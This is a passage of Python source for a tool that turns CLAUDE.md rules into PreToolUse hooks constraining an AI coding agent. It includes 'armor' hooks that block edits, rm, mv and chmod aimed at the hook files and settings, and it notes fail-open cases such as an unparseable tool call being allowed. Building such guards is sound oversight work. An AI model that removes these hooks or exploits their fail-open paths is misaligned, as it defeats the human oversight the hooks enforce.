  1276. return CONTENT_GUARD_TEMPLATE.format(directive=short, checks=checks)
  1277. elif directive.hook_type == 'file-guard':
  1278. checks = generate_file_guard_checks(directive.patterns, short, severity=sev)
  1279. # Include Read tool if directive mentions reading
  1280. text_lower = directive.text.lower()
  1281. if any(w in text_lower for w in ['read', 'access', 'view', 'open', 'look at']):
  1282. tool_case = 'Write|Edit|MultiEdit|Read'
  1283. else:
  1284. tool_case = 'Write|Edit|MultiEdit'
  1285. return FILE_GUARD_TEMPLATE.format(directive=short, checks=checks, tool_case=tool_case)
  1286. elif directive.hook_type == 'bash-guard':
  1287. checks = generate_bash_guard_checks(directive.patterns, short, severity=sev)
  1288. return BASH_GUARD_TEMPLATE.format(directive=short, checks=checks)
  1289. elif directive.hook_type == 'branch-guard':
  1290. checks = generate_branch_guard_checks(directive.patterns, short, severity=sev)
  1291. return BRANCH_GUARD_TEMPLATE.format(directive=short, checks=checks)
  1292. elif directive.hook_type == 'tool-block':
  1293. checks = generate_tool_block_checks(directive.patterns, short, severity=sev)
  1294. return TOOL_BLOCK_TEMPLATE.format(directive=short, checks=checks)
  1295. elif directive.hook_type == 'require-prior-read-file':
  1296. if len(directive.patterns) >= 2:
  1297. required_file = directive.patterns[0]
  1298. target_tools = directive.patterns[1]
  1299. if sev == 'warn':
  1300. return REQUIRE_PRIOR_READ_FILE_WARN_TEMPLATE.format(
  1301. directive=short,
  1302. target_tools=target_tools,
  1303. required_file=required_file,
  1304. short=_truncate_short(directive.text),
  1305. )
  1306. return REQUIRE_PRIOR_READ_FILE_TEMPLATE.format(
  1307. directive=short,
  1308. target_tools=target_tools,
  1309. required_file=required_file,
  1310. short=_truncate_short(directive.text),
  1311. )
  1312. elif directive.hook_type == 'require-prior-tool':
  1313. if len(directive.patterns) >= 2:
  1314. required = directive.patterns[0]
  1315. target = directive.patterns[1]
  1316. if sev == 'warn':
  1317. return REQUIRE_PRIOR_WARN_TEMPLATE.format(
  1318. directive=short,
  1319. target_tools=target,
  1320. required_tool=required,
  1321. short=_truncate_short(directive.text),
  1322. )
  1323. return REQUIRE_PRIOR_TEMPLATE.format(
  1324. directive=short,
  1325. target_tools=target,
  1326. required_tool=required,
  1327. short=_truncate_short(directive.text),
  1328. )
  1329. elif directive.hook_type == 'require-prior-command':
  1330. if len(directive.patterns) >= 2:
  1331. required_cmd = directive.patterns[0]
  1332. target_cmd = directive.patterns[1]
  1333. # Map common verb forms to git command patterns
  1334. target_map = {
  1335. 'committing': 'git commit',
  1336. 'commit': 'git commit',
  1337. 'pushing': 'git push',
  1338. 'push': 'git push',
  1339. 'merging': 'git merge',
  1340. 'deploying': 'deploy',
  1341. }
  1342. target_pattern = target_map.get(target_cmd.lower(), target_cmd)
  1343. if sev == 'warn':
  1344. return REQUIRE_PRIOR_CMD_WARN_TEMPLATE.format(
  1345. directive=short,
  1346. target_cmd=target_pattern,
  1347. required_cmd=required_cmd,
  1348. short=_truncate_short(directive.text),
  1349. )
  1350. return REQUIRE_PRIOR_CMD_TEMPLATE.format(
  1351. directive=short,
  1352. target_cmd=target_pattern,
  1353. required_cmd=required_cmd,
  1354. short=_truncate_short(directive.text),
  1355. )
  1356. return None
  1357. def hook_filename(directive, index, seen=None):
  1358. """Generate a unique filename for a hook script."""
  1359. type_prefix = directive.hook_type.replace('-', '_')
  1360. # Create a short slug from the first pattern
  1361. slug = directive.patterns[0] if directive.patterns else 'rule'
  1362. slug = re.sub(r'[^a-zA-Z0-9]', '_', slug)[:20].strip('_').lower()
  1363. base = f"enforce_{type_prefix}_{slug}"
  1364. name = f"{base}.sh"
  1365. # Deduplicate if seen set provided
  1366. if seen is not None:
  1367. counter = 2
  1368. while name in seen:
  1369. name = f"{base}_{counter}.sh"
  1370. counter += 1
  1371. seen.add(name)
  1372. return name
  1373. # --- Installation ---
  1374. def install_hooks(directives, hooks_dir, settings_path):
  1375. """Write hook scripts and update settings.json."""
  1376. hooks_dir = Path(hooks_dir)
  1377. hooks_dir.mkdir(parents=True, exist_ok=True)
  1378. written = []
  1379. seen_names = set()
  1380. for i, directive in enumerate(directives):
  1381. script = generate_hook(directive)
  1382. if not script:
  1383. continue
  1384. filename = hook_filename(directive, i, seen_names)
  1385. path = hooks_dir / filename
  1386. path.write_text(script)
  1387. path.chmod(0o755)
  1388. written.append(str(path))
  1389. # Update settings.json (handles JSONC comments)
  1390. settings_path = Path(settings_path)
  1391. settings = load_settings_json(settings_path)
  1392. hooks_config = settings.setdefault('hooks', {})
  1393. pre_tool = hooks_config.setdefault('PreToolUse', [])
  1394. # Find or create the catch-all matcher entry
  1395. catch_all = None
  1396. for entry in pre_tool:
  1397. if entry.get('matcher', '') == '':
  1398. catch_all = entry
  1399. break
  1400. if not catch_all:
  1401. catch_all = {'matcher': '', 'hooks': []}
  1402. pre_tool.append(catch_all)
  1403. existing_commands = {h.get('command', '') for h in catch_all.get('hooks', [])}
  1404. for path in written:
  1405. rel_path = str(path)
  1406. if rel_path not in existing_commands:
  1407. catch_all['hooks'].append({'type': 'command', 'command': rel_path})
  1408. settings_path.parent.mkdir(parents=True, exist_ok=True)
  1409. settings_path.write_text(json.dumps(settings, indent=2) + '\n')
  1410. return written
  1411. def install_armor(hooks_dir, settings_path):
  1412. """Install self-protection hooks that guard .claude/hooks/ from modification.
  1413. Generates two standalone hooks:
  1414. - armor_file_guard.sh: blocks Write/Edit/MultiEdit on hook files and settings
  1415. - armor_bash_guard.sh: blocks rm/mv/chmod/etc. targeting hook files and settings
  1416. These hooks protect themselves: the file-guard blocks edits to the bash-guard,
  1417. and the bash-guard blocks deletion of the file-guard. Neither requires CLAUDE.md.
  1418. """
  1419. hooks_dir = Path(hooks_dir)
  1420. hooks_dir.mkdir(parents=True, exist_ok=True)
  1421. written = []
  1422. for name, content in [('armor_file_guard.sh', ARMOR_FILE_GUARD),
  1423. ('armor_bash_guard.sh', ARMOR_BASH_GUARD)]:
  1424. path = hooks_dir / name
  1425. path.write_text(content)
  1426. path.chmod(0o755)
  1427. written.append(str(path))
  1428. # Update settings.json (handles JSONC comments)
  1429. settings_path = Path(settings_path)
  1430. settings = load_settings_json(settings_path)
  1431. hooks_config = settings.setdefault('hooks', {})
  1432. pre_tool = hooks_config.setdefault('PreToolUse', [])
  1433. catch_all = None
  1434. for entry in pre_tool:
  1435. if entry.get('matcher', '') == '':
  1436. catch_all = entry
  1437. break
  1438. if not catch_all:
  1439. catch_all = {'matcher': '', 'hooks': []}
  1440. pre_tool.append(catch_all)
  1441. existing_commands = {h.get('command', '') for h in catch_all.get('hooks', [])}
  1442. for path in written:
  1443. if path not in existing_commands:
  1444. catch_all['hooks'].append({'type': 'command', 'command': path})
  1445. settings_path.parent.mkdir(parents=True, exist_ok=True)
  1446. settings_path.write_text(json.dumps(settings, indent=2) + '\n')
  1447. return written
  1448. # --- Runtime Evaluation ---
  1449. def get_current_branch():
  1450. """Get current git branch by reading .git/HEAD directly (no subprocess)."""
  1451. cwd = Path.cwd()
  1452. for parent in [cwd] + list(cwd.parents):
  1453. head = parent / '.git' / 'HEAD'
  1454. if head.exists():
  1455. try:
  1456. content = head.read_text().strip()
  1457. if content.startswith('ref: refs/heads/'):
  1458. return content[len('ref: refs/heads/'):]
  1459. except IOError:
  1460. pass
  1461. return None
  1462. return None
  1463. def evaluate_tool_call(directives, tool_name, tool_input):
  1464. """Evaluate a tool call against all directives.
  1465. Returns dict: {"decision": "allow"} or {"decision": "block", "reason": "..."}
  1466. Warn-severity directives produce warnings on stderr but don't block.
  1467. """
  1468. warnings = []
  1469. for d in directives:
  1470. result = _check_single(d, tool_name, tool_input)
  1471. if result:
  1472. if d.severity == 'warn':
  1473. # Warn: collect but don't block
  1474. msg = result.get('reason', 'rule violation')
  1475. warnings.append(msg)
  1476. print(f"⚠ enforce-hooks WARN: {msg}", file=sys.stderr)
  1477. else:
  1478. return result
  1479. return {"decision": "allow"}
  1480. def _check_single(directive, tool_name, tool_input):
  1481. """Check if a tool call violates a single directive."""
  1482. short = re.sub(r'@enforced(?:\(\w+\))?', '', directive.text[:80]).strip()
  1483. if directive.hook_type == 'scoped-content-guard':
  1484. if tool_name not in ('Write', 'Edit', 'MultiEdit'):
  1485. return None
  1486. file_path = tool_input.get('file_path', '')
  1487. if not file_path:
  1488. return None
  1489. # Check path scope
  1490. path_match = any(pf in file_path for pf in (directive.path_filter or []))
  1491. if directive.path_mode == 'only_in' and path_match:
  1492. return None # File is in the allowed path, content is fine
  1493. if directive.path_mode == 'never_in' and not path_match:
  1494. return None # File is not in the blocked path, content is fine
  1495. # Extract content
  1496. content = ''
  1497. if tool_name == 'Edit':
  1498. content = tool_input.get('new_string', '')
  1499. elif tool_name == 'Write':
  1500. content = tool_input.get('content', '')
  1501. elif tool_name == 'MultiEdit':
  1502. edits = tool_input.get('edits', [])
  1503. content = '\n'.join(e.get('new_string', '') for e in edits)
  1504. if not content:
  1505. return None
  1506. for pat in directive.patterns:
  1507. matched = False
  1508. if any(c in pat for c in r'[](){}*+?|\\^$'):
  1509. try:
  1510. matched = bool(re.search(pat, content))
  1511. except re.error:
  1512. matched = pat in content
  1513. else:
  1514. matched = pat in content
  1515. if matched:
  1516. scope_desc = ', '.join(directive.path_filter or [])
  1517. if directive.path_mode == 'only_in':
  1518. reason = f"Content blocked: {pat} only allowed in {scope_desc}. (CLAUDE.md: \"{short}\")"
  1519. else:
  1520. reason = f"Content blocked: {pat} not allowed in {scope_desc}. (CLAUDE.md: \"{short}\")"
  1521. return {"decision": "block", "reason": reason}
  1522. elif directive.hook_type == 'content-guard':
  1523. if tool_name not in ('Write', 'Edit', 'MultiEdit'):
  1524. return None
  1525. content = ''
  1526. if tool_name == 'Edit':
  1527. content = tool_input.get('new_string', '')
  1528. elif tool_name == 'Write':
  1529. content = tool_input.get('content', '')
  1530. elif tool_name == 'MultiEdit':
  1531. edits = tool_input.get('edits', [])
  1532. content = '\n'.join(e.get('new_string', '') for e in edits)
  1533. if not content:
  1534. return None
  1535. for pat in directive.patterns:
  1536. matched = False
  1537. # Use regex matching if pattern contains regex metacharacters
  1538. if any(c in pat for c in r'[](){}*+?|\\^$'):
  1539. try:
  1540. matched = bool(re.search(pat, content))
  1541. except re.error:
  1542. matched = pat in content # fallback to literal
  1543. else:
  1544. matched = pat in content
  1545. if matched:
  1546. return {"decision": "block",
  1547. "reason": f"Content blocked: {pat} is not allowed. (CLAUDE.md: \"{short}\")"}
  1548. elif directive.hook_type == 'file-guard':
  1549. text_lower = directive.text.lower()
  1550. read_words = ['read', 'access', 'view', 'open', 'look at']
  1551. target_tools = {'Write', 'Edit', 'MultiEdit'}
  1552. if any(w in text_lower for w in read_words):
  1553. target_tools.add('Read')
  1554. if tool_name not in target_tools:
  1555. return None
  1556. file_path = tool_input.get('file_path', '')
  1557. if not file_path:
  1558. return None
  1559. for pat in directive.patterns:
  1560. if pat in file_path:
  1561. return {"decision": "block",
  1562. "reason": f"Protected: {file_path} matches {pat}. (CLAUDE.md: \"{short}\")"}
  1563. elif directive.hook_type == 'bash-guard':
  1564. if tool_name != 'Bash':
  1565. return None
  1566. cmd = tool_input.get('command', '')
  1567. if not cmd:
  1568. return None
  1569. for pat in directive.patterns:
  1570. if _bash_pattern_matches(pat, cmd):
  1571. return {"decision": "block",
  1572. "reason": f"Blocked command: {pat}. (CLAUDE.md: \"{short}\")"}
  1573. elif directive.hook_type == 'branch-guard':
  1574. if tool_name != 'Bash':
  1575. return None
  1576. cmd = tool_input.get('command', '')
  1577. if not cmd:
  1578. return None
  1579. git_ops = ['git commit', 'git merge', 'git push']
  1580. if not any(op in cmd for op in git_ops):
  1581. return None
  1582. branch = get_current_branch()
  1583. if branch and branch in directive.patterns:
  1584. return {"decision": "block",
  1585. "reason": f"Branch {branch} is protected. (CLAUDE.md: \"{short}\")"}
  1586. elif directive.hook_type == 'tool-block':
  1587. if tool_name in directive.patterns:
  1588. return {"decision": "block",
  1589. "reason": f"Tool {tool_name} is blocked. (CLAUDE.md: \"{short}\")"}
  1590. elif directive.hook_type == 'require-prior-read-file':
  1591. if len(directive.patterns) >= 2:
  1592. required_file = directive.patterns[0]
  1593. target_tools = directive.patterns[1]
  1594. # Check if the current tool is one of the targets
  1595. if tool_name not in target_tools.split('|'):
  1596. return None
  1597. from datetime import date
  1598. today = date.today().isoformat()
  1599. session_log = Path.home() / '.claude' / 'session-logs' / f'{today}.jsonl'
  1600. found = False
  1601. if session_log.exists():
  1602. try:
  1603. for line in session_log.read_text().splitlines():
  1604. try:
  1605. entry = json.loads(line)
  1606. if entry.get('tool') == 'Read' and required_file in entry.get('detail', ''):
  1607. found = True
  1608. break
  1609. except json.JSONDecodeError:
  1610. pass
  1611. except IOError:
  1612. pass
  1613. if not found:
  1614. return {"decision": "block",
  1615. "reason": f"Read {required_file} first. (CLAUDE.md: \"{short}\")"}
  1616. elif directive.hook_type == 'require-prior-tool':
  1617. if len(directive.patterns) >= 2:
  1618. required = directive.patterns[0]
  1619. target = directive.patterns[1]
  1620. tool_map = {
  1621. 'tests': 'Bash', 'test': 'Bash', 'lint': 'Bash',
  1622. 'search': 'Grep', 'grep': 'Grep',
  1623. 'web search': 'WebSearch', 'websearch': 'WebSearch',
  1624. 'edit': 'Edit', 'editing': 'Edit', 'modify': 'Edit',
  1625. 'write': 'Write', 'writing': 'Write',
  1626. 'read': 'Read', 'reading': 'Read',
  1627. }
  1628. target_tool = tool_map.get(target.lower(), 'Bash')
  1629. if tool_name != target_tool:
  1630. return None
  1631. from datetime import date
  1632. today = date.today().isoformat()
  1633. session_log = Path.home() / '.claude' / 'session-logs' / f'{today}.jsonl'
  1634. found = False
  1635. if session_log.exists():
  1636. try:
  1637. for line in session_log.read_text().splitlines():
  1638. try:
  1639. entry = json.loads(line)
  1640. if entry.get('tool') == required:
  1641. found = True
  1642. break
  1643. except json.JSONDecodeError:
  1644. pass
  1645. except IOError:
  1646. pass
  1647. if not found:
  1648. return {"decision": "block",
  1649. "reason": f"Run {required} first. (CLAUDE.md: \"{short}\")"}
  1650. elif directive.hook_type == 'require-prior-command':
  1651. if tool_name != 'Bash':
  1652. return None
  1653. if len(directive.patterns) >= 2:
  1654. required_cmd = directive.patterns[0]
  1655. target_cmd = directive.patterns[1]
  1656. # Map verb forms to git command patterns
  1657. target_map = {
  1658. 'committing': 'git commit',
  1659. 'commit': 'git commit',
  1660. 'pushing': 'git push',
  1661. 'push': 'git push',
  1662. 'merging': 'git merge',
  1663. 'deploying': 'deploy',
  1664. }
  1665. target_pattern = target_map.get(target_cmd.lower(), target_cmd)
  1666. cmd = tool_input.get('command', '')
  1667. if not cmd or target_pattern.lower() not in cmd.lower():
  1668. return None
  1669. from datetime import date
  1670. today = date.today().isoformat()
  1671. session_log = Path.home() / '.claude' / 'session-logs' / f'{today}.jsonl'
  1672. found = False
  1673. if session_log.exists():
  1674. try:
  1675. for line in session_log.read_text().splitlines():
  1676. try:
  1677. entry = json.loads(line)
  1678. entry_cmd = entry.get('command', '')
  1679. if required_cmd.lower() in entry_cmd.lower():
  1680. found = True
  1681. break
  1682. except json.JSONDecodeError:
  1683. pass
  1684. except IOError:
  1685. pass
  1686. if not found:
  1687. return {"decision": "block",
  1688. "reason": f"Run `{required_cmd}` before `{target_pattern}`. (CLAUDE.md: \"{short}\")"}
  1689. return None
  1690. CACHE_FILENAME = '.enforce-cache.json'
  1691. def load_cached_directives(claude_md_path, cache_dir=None):
  1692. """Load directives from cache if CLAUDE.md hasn't changed."""
  1693. md_path = Path(claude_md_path)
  1694. cache_path = Path(cache_dir or '.claude') / CACHE_FILENAME
  1695. try:
  1696. md_mtime = md_path.stat().st_mtime
  1697. except OSError:
  1698. return None
  1699. if cache_path.exists():
  1700. try:
  1701. cache = json.loads(cache_path.read_text())
  1702. if cache.get('mtime') == md_mtime and cache.get('path') == str(md_path):
  1703. return [Directive(**d) for d in cache['directives']]
  1704. except (json.JSONDecodeError, KeyError, TypeError):
  1705. pass
  1706. return None
  1707. def save_cached_directives(claude_md_path, directives, cache_dir=None):
  1708. """Save directives to cache."""
  1709. md_path = Path(claude_md_path)
  1710. cache_path = Path(cache_dir or '.claude') / CACHE_FILENAME
  1711. try:
  1712. md_mtime = md_path.stat().st_mtime
  1713. cache_path.parent.mkdir(parents=True, exist_ok=True)
  1714. cache = {
  1715. 'mtime': md_mtime,
  1716. 'path': str(md_path),
  1717. 'directives': [d.to_dict() for d in directives],
  1718. }
  1719. cache_path.write_text(json.dumps(cache))
  1720. except (OSError, IOError):
  1721. pass
  1722. def run_evaluate(claude_md_path):
  1723. """Run evaluate mode: read tool call from stdin, check rules, output decision."""
  1724. directives = load_cached_directives(claude_md_path)
  1725. if directives is None:
  1726. enforceable, _ = scan_file(claude_md_path)
  1727. directives = enforceable
  1728. save_cached_directives(claude_md_path, directives)
  1729. if not directives:
  1730. print(json.dumps({"decision": "allow"}))
  1731. return
  1732. try:
  1733. raw = sys.stdin.read()
  1734. tool_call = json.loads(raw)
  1735. except (json.JSONDecodeError, IOError):
  1736. print(json.dumps({"decision": "allow"}))
  1737. return
  1738. tool_name = tool_call.get('tool_name', '')
  1739. tool_input = tool_call.get('tool_input', {})
  1740. if not tool_name:
  1741. print(json.dumps({"decision": "allow"}))
  1742. return
  1743. result = evaluate_tool_call(directives, tool_name, tool_input)
  1744. print(json.dumps(result))
  1745. def install_plugin(claude_md_path, hooks_dir, settings_path):
  1746. """Install enforce-hooks as a single PreToolUse hook (plugin mode).
  1747. Instead of generating per-rule scripts, installs one hook that
  1748. reads CLAUDE.md at runtime and enforces all rules dynamically.
  1749. """
  1750. hooks_dir = Path(hooks_dir)
  1751. hooks_dir.mkdir(parents=True, exist_ok=True)
  1752. # Copy enforce-hooks.py into the hooks directory
  1753. src = Path(__file__).resolve()
  1754. dst = hooks_dir / 'enforce-hooks.py'
  1755. dst.write_text(src.read_text())
  1756. # Write the thin wrapper hook
  1757. wrapper = hooks_dir / 'enforce-pretooluse.sh'
  1758. wrapper.write_text(
  1759. '#!/usr/bin/env bash\n'
  1760. '# enforce-pretooluse.sh - Enforces CLAUDE.md directives on every tool call.\n'
  1761. '# Auto-generated by enforce-hooks.py --install-plugin\n'
  1762. 'DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"\n'
  1763. 'exec python3 "$DIR/enforce-hooks.py" --evaluate\n'
  1764. )
  1765. wrapper.chmod(0o755)
  1766. # Register in settings.json (handles JSONC comments)
  1767. settings_path = Path(settings_path)
  1768. settings = load_settings_json(settings_path)
  1769. hooks_config = settings.setdefault('hooks', {})
  1770. pre_tool = hooks_config.setdefault('PreToolUse', [])
  1771. # Find or create the catch-all matcher entry
  1772. catch_all = None
  1773. for entry in pre_tool:
  1774. if entry.get('matcher', '') == '':
  1775. catch_all = entry
  1776. break
  1777. if not catch_all:
  1778. catch_all = {'matcher': '', 'hooks': []}
  1779. pre_tool.append(catch_all)
  1780. hook_cmd = str(wrapper)
  1781. # Clean up stale enforce-hooks entries (old temp dirs, non-existent paths)
  1782. if 'hooks' in catch_all:
  1783. catch_all['hooks'] = [
  1784. h for h in catch_all['hooks']
  1785. if not (h.get('command', '').endswith('enforce-pretooluse.sh')
  1786. and not Path(h['command']).exists())
  1787. ]
  1788. existing_commands = {h.get('command', '') for h in catch_all.get('hooks', [])}
  1789. if hook_cmd not in existing_commands:
  1790. catch_all['hooks'].append({'type': 'command', 'command': hook_cmd})
  1791. settings_path.parent.mkdir(parents=True, exist_ok=True)
  1792. settings_path.write_text(json.dumps(settings, indent=2) + '\n')
  1793. return [str(dst), str(wrapper)]
  1794. # --- Audit ---
  1795. def audit_hooks(claude_md_path, hooks_dir='.claude/hooks', settings_path='.claude/settings.json'):
  1796. """Audit relationship between CLAUDE.md rules and installed hooks.
  1797. Returns a dict with:
  1798. enforced: list of directives that have active enforcement
  1799. unenforced: list of directives that could be enforced but aren't
  1800. suggestions: list of rules not tagged @enforced but classifiable
  1801. orphan_hooks: list of hook files not matching any directive
  1802. broken_refs: list of settings entries pointing to missing files
  1803. plugin_mode: bool, whether dynamic plugin is installed
  1804. settings_hooks: list of registered hook commands
  1805. """
  1806. hooks_dir = Path(hooks_dir)
  1807. settings_path = Path(settings_path)
  1808. # 1. Scan CLAUDE.md
  1809. enforceable, skipped = scan_file(claude_md_path)
  1810. suggestions = scan_suggestions(claude_md_path)
  1811. # Filter suggestions to only those NOT already in enforceable
  1812. enforced_lines = {d.line_num for d in enforceable}
  1813. suggestions = [s for s in suggestions if s.line_num not in enforced_lines]
  1814. # 2. Check for plugin mode (dynamic enforcement)
  1815. plugin_hook = hooks_dir / 'enforce-pretooluse.sh'
  1816. plugin_engine = hooks_dir / 'enforce-hooks.py'
  1817. plugin_mode = plugin_hook.exists() and plugin_engine.exists()
  1818. # 3. Read settings.json for registered hooks (handles JSONC)
  1819. settings_hooks = []
  1820. enforce_registered = False
  1821. try:
  1822. settings = load_settings_json(settings_path)
  1823. for entry in settings.get('hooks', {}).get('PreToolUse', []):
  1824. for h in entry.get('hooks', []):
  1825. cmd = h.get('command', '')
  1826. if cmd:
  1827. settings_hooks.append(cmd)
  1828. if 'enforce' in cmd.lower():
  1829. enforce_registered = True
  1830. except (KeyError, Exception):
  1831. pass
  1832. # 4. Find enforce hook scripts on disk
  1833. existing_scripts = set()
  1834. if hooks_dir.exists():
  1835. for f in hooks_dir.iterdir():
  1836. if f.is_file() and f.name.startswith('enforce_') and f.suffix == '.sh':
  1837. existing_scripts.add(str(f))
  1838. # 5. Classify enforcement status
  1839. if plugin_mode and enforce_registered:
  1840. # Plugin mode: all @enforced directives are covered dynamically
  1841. enforced = list(enforceable)
  1842. unenforced = []
  1843. elif existing_scripts:
  1844. # Per-rule mode: match scripts to directives by filename pattern
  1845. enforced = []
  1846. unenforced = []
  1847. seen_names = set()
  1848. for i, d in enumerate(enforceable):
  1849. expected_name = hook_filename(d, i, set())
  1850. expected_path = str(hooks_dir / expected_name)
  1851. if expected_path in existing_scripts:
  1852. enforced.append(d)
  1853. existing_scripts.discard(expected_path)
  1854. else:
  1855. unenforced.append(d)
  1856. orphan_scripts = existing_scripts # Remaining scripts match nothing
  1857. else:
  1858. enforced = []
  1859. unenforced = list(enforceable)
  1860. # 6. Find orphan hooks (per-rule scripts that don't match any directive)
  1861. orphan_hooks = []
  1862. if not plugin_mode:
  1863. orphan_hooks = sorted(existing_scripts) if existing_scripts else []
  1864. # 7. Find broken references (settings point to missing files)
  1865. broken_refs = []
  1866. for cmd in settings_hooks:
  1867. if not Path(cmd).exists():
  1868. broken_refs.append(cmd)
  1869. return {
  1870. 'enforced': enforced,
  1871. 'unenforced': unenforced,
  1872. 'suggestions': suggestions,
  1873. 'orphan_hooks': orphan_hooks,
  1874. 'broken_refs': broken_refs,
  1875. 'plugin_mode': plugin_mode,
  1876. 'plugin_registered': enforce_registered,
  1877. 'settings_hooks': settings_hooks,
  1878. 'skipped': skipped,
  1879. }
  1880. def format_audit_report(audit):
  1881. """Format audit results as a readable report."""
  1882. lines = []
  1883. # Status header
  1884. if audit['plugin_mode'] and audit['plugin_registered']:
  1885. lines.append("enforce-hooks: ACTIVE (plugin mode)")
  1886. lines.append(" All @enforced rules are checked on every tool call.\n")
  1887. elif audit['plugin_mode'] and not audit['plugin_registered']:
  1888. lines.append("enforce-hooks: WARNING (plugin files exist but not registered)")
  1889. lines.append(" Run --install-plugin to register the hook.\n")
  1890. elif audit['enforced']:
  1891. lines.append("enforce-hooks: ACTIVE (per-rule mode)")
  1892. lines.append(f" {len(audit['enforced'])} individual hook script(s) installed.\n")
  1893. else:
  1894. lines.append("enforce-hooks: NOT INSTALLED")
  1895. lines.append(" No enforcement active. Run --install-plugin to set up.\n")
  1896. # Enforced rules
  1897. enforced = audit['enforced']
  1898. if enforced:
  1899. lines.append(f"Enforced ({len(enforced)}):")
  1900. for d in enforced:
  1901. sev_tag = ' [warn]' if d.severity == 'warn' else ''
  1902. lines.append(f" [ok] {d.hook_type:<18} {d.description}{sev_tag}")
  1903. # Unenforced rules (tagged @enforced but no hook)
  1904. unenforced = audit['unenforced']
  1905. if unenforced:
  1906. lines.append(f"\nNot enforced ({len(unenforced)}):")
  1907. for d in unenforced:
  1908. sev_tag = ' [warn]' if d.severity == 'warn' else ''
  1909. lines.append(f" [!!] {d.hook_type:<18} {d.description}{sev_tag}")
  1910. if not audit['plugin_mode']:
  1911. lines.append(" Fix: run --install or --install-plugin")
  1912. # Suggestions (classifiable but not tagged @enforced)
  1913. suggestions = audit['suggestions']
  1914. if suggestions:
  1915. lines.append(f"\nCould be enforced ({len(suggestions)}):")
  1916. for s in suggestions:
  1917. lines.append(f" [--] {s.hook_type:<18} {s.description} (L{s.line_num})")
  1918. lines.append(" Add @enforced to activate: \"Never modify .env files @enforced\"")
  1919. # Skipped (tagged @enforced but not classifiable)
  1920. skipped = audit['skipped']
  1921. if skipped:
  1922. lines.append(f"\nUnclassifiable ({len(skipped)}):")
  1923. for line_num, text, reason in skipped:
  1924. lines.append(f" [??] L{line_num}: {text[:55]} ({reason})")
  1925. # Orphan hooks
  1926. orphans = audit['orphan_hooks']
  1927. if orphans:
  1928. lines.append(f"\nOrphan hooks ({len(orphans)}):")
  1929. for o in orphans:
  1930. lines.append(f" [~~] {o}")
  1931. lines.append(" These hook scripts don't match any current CLAUDE.md rule.")
  1932. # Broken references
  1933. broken = audit['broken_refs']
  1934. if broken:
  1935. lines.append(f"\nBroken references ({len(broken)}):")
  1936. for b in broken:
  1937. lines.append(f" [XX] {b}")
  1938. lines.append(" settings.json points to files that don't exist. Re-run --install-plugin.")
  1939. # Summary line
  1940. total_rules = len(enforced) + len(unenforced) + len(suggestions)
  1941. coverage = (len(enforced) / total_rules * 100) if total_rules > 0 else 0
  1942. lines.append(f"\nCoverage: {len(enforced)}/{total_rules} classifiable rules enforced ({coverage:.0f}%)")
  1943. return '\n'.join(lines)
  1944. # --- Hook Verification ---
  1945. def verify_hooks(hooks_dir='.claude/hooks', settings_path='.claude/settings.json'):
  1946. """Verify installed hooks for correctness issues.
  1947. Checks every hook script in hooks_dir for:
  1948. - Executable permission (+x)
  1949. - Valid shebang line
  1950. - Wrong field name (.input.X instead of .tool_input.X)
  1951. - Fail-open on empty values (gets empty string, exits 0)
  1952. - JSON parsing method (jq, python, etc.)
  1953. - Settings.json registration
  1954. Returns a dict with:
  1955. hooks: list of dicts, one per hook file, each with 'path', 'issues', 'info'
  1956. settings_issues: list of issues with settings.json
  1957. summary: dict with counts
  1958. """
  1959. hooks_dir = Path(hooks_dir)
  1960. settings_path = Path(settings_path)
  1961. results = []
  1962. settings_issues = []
  1963. # 1. Read settings.json to find registered hooks (handles JSONC)
  1964. registered_commands = set()
  1965. try:
  1966. settings = load_settings_json(settings_path)
  1967. for event_type in settings.get('hooks', {}):
  1968. for entry in settings.get('hooks', {}).get(event_type, []):
  1969. for h in entry.get('hooks', []):
  1970. cmd = h.get('command', '')
  1971. if cmd:
  1972. registered_commands.add(cmd)
  1973. except (KeyError, Exception):
  1974. settings_issues.append({
  1975. 'severity': 'error',
  1976. 'message': f'Cannot parse {settings_path}',
  1977. })
  1978. def is_plugin_helper(hook_path):
  1979. """Ignore plugin-mode helper code when the registered hook is its wrapper."""
  1980. if hook_path.name != 'enforce-hooks.py':
  1981. return False
  1982. for cmd in registered_commands:
  1983. if 'enforce-pretooluse.sh' not in cmd:
  1984. continue
  1985. for part in cmd.split():
  1986. if Path(part).name != 'enforce-pretooluse.sh':
  1987. continue
  1988. try:
  1989. if Path(part).resolve().parent == hook_path.resolve().parent:
  1990. return True
  1991. except OSError:
  1992. if Path(part).parent == hook_path.parent:
  1993. return True
  1994. return False
  1995. # 2. Scan hook files
  1996. if not hooks_dir.exists():
  1997. return {
  1998. 'hooks': [],
  1999. 'settings_issues': settings_issues + [{
  2000. 'severity': 'info',
  2001. 'message': f'No hooks directory found at {hooks_dir}',
  2002. }],
  2003. 'summary': {'total': 0, 'ok': 0, 'warnings': 0, 'errors': 0},
  2004. }
  2005. hook_files = sorted(
  2006. f for f in hooks_dir.iterdir()
  2007. if f.is_file() and not f.name.startswith('.') and not is_plugin_helper(f)
  2008. )
  2009. for hook_path in hook_files:
  2010. hook_result = {
  2011. 'path': str(hook_path),
  2012. 'name': hook_path.name,
  2013. 'issues': [],
  2014. 'info': [],
  2015. }
  2016. # Read content
  2017. try:
  2018. content = hook_path.read_text(errors='replace')
  2019. except Exception as e:
  2020. hook_result['issues'].append({
  2021. 'severity': 'error',
  2022. 'check': 'readable',
  2023. 'message': f'Cannot read file: {e}',
  2024. })
  2025. results.append(hook_result)
  2026. continue
  2027. lines = content.split('\n')
  2028. # Check: executable permission
  2029. if not os.access(str(hook_path), os.X_OK):
  2030. hook_result['issues'].append({
  2031. 'severity': 'error',
  2032. 'check': 'executable',
  2033. 'message': 'Not executable. Fix: chmod +x ' + str(hook_path),
  2034. })
  2035. # Check: shebang
  2036. if lines and lines[0].startswith('#!'):
  2037. shebang = lines[0]
  2038. hook_result['info'].append({'check': 'shebang', 'value': shebang})
  2039. # Check for common bad shebangs
  2040. if '/usr/bin/bash' in shebang and sys.platform == 'darwin':
  2041. hook_result['issues'].append({
  2042. 'severity': 'warn',
  2043. 'check': 'shebang',
  2044. 'message': 'Uses /usr/bin/bash (may not exist on macOS). Prefer /bin/bash or #!/usr/bin/env bash.',
  2045. })
  2046. elif not hook_path.suffix == '.json':
  2047. hook_result['issues'].append({
  2048. 'severity': 'warn',
  2049. 'check': 'shebang',
  2050. 'message': 'No shebang line. Hook may not execute correctly.',
  2051. })
  2052. # Check: .input.X vs .tool_input.X (the chris-peterson bug)
  2053. # This is the critical check. Claude Code sends tool_input, not input.
  2054. wrong_field_lines = []
